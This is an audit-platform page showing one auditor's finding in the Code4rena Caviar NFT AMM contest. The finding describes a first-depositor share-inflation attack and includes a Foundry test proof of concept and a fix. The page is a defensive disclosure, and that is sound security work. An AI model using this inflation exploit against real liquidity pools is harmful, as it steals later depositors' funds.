Caviar contest - eyexploit's results

A fully on-chain NFT AMM that allows you to trade every NFT in a collection.

General Information

Platform: Code4rena

Start Date: 12/12/2022

Pot Size: $36,500 USDC

Total HM: 8

Participants: 103

Period: 7 days

Judge: berndartmueller

Id: 193

League: ETH

Caviar

Findings Distribution

Researcher Performance

Rank: 101/103

Findings: 1

Award: $6.99

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

6.9881 USDC - $6.99

Labels

bug
3 (High Risk)
satisfactory
edited-by-warden
duplicate-442

External Links

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L419-L427 https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L77

Vulnerability details

Impact

A malicious early user can add liquidity to the pair with 1 wei of baseTokenAmount and 1 wei of fractionalTokenAmount. And gets a 1 wei of lpTokens or shares in pool.

Then the malcious user can directly send 5000 amount of baseToken to inflate the shares price from 1 wei to an extremely high value of 5000 (consider with decimals).

As a result, the future user who provides liquidty less than the 5000 will get zero shares. They will lose all the amount of baseToken and fractional tokens that they deposited to provide the liquidity.

Proof of Concept

function test_if_UnfairShares_Distribution() public { address alice = address(111); address eve = address(333); deal(address(usd), eve, 10000, true); deal(address(p), eve, 10000, true); vm.startPrank(eve); usd.approve(address(p), type(uint256).max); assertEq(lpToken.totalSupply(), 0, "Initial supply zero"); // Initiate the attack uint256 lpToken_receive_by_eve = p.add(1, 1, 0); usd.transfer(address(p), 5000); assertGt(usd.balanceOf(address(p)), 5000); assertEq(lpToken_receive_by_eve, 1); vm.stopPrank(); deal(address(usd), alice, 10000, true); deal(address(p), alice, 10000, true); vm.startPrank(alice); usd.approve(address(p), type(uint256).max); // try adding amount less than 5000 will result in zero shares, to maximize affect 4999 uint256 lpToken_receive_by_alice = p.add(4999, 4999, 0); assertEq(lpToken_receive_by_alice, 0); (uint256 _baseTokenOutputAmount, ) = p.remove(lpToken_receive_by_alice, 0, 0); assertEq(_baseTokenOutputAmount, 0); }

Tools Used

Manual review

For the first inital deposit, mint fixed amount of lp tokens to address(0), Uniswap did the same here

#0 - Shungy

2022-12-21T20:09:13Z

Dup #442

#1 - c4-judge

2022-12-28T15:50:34Z

berndartmueller marked the issue as duplicate of #442

#2 - c4-judge

2023-01-10T09:15:49Z

berndartmueller marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter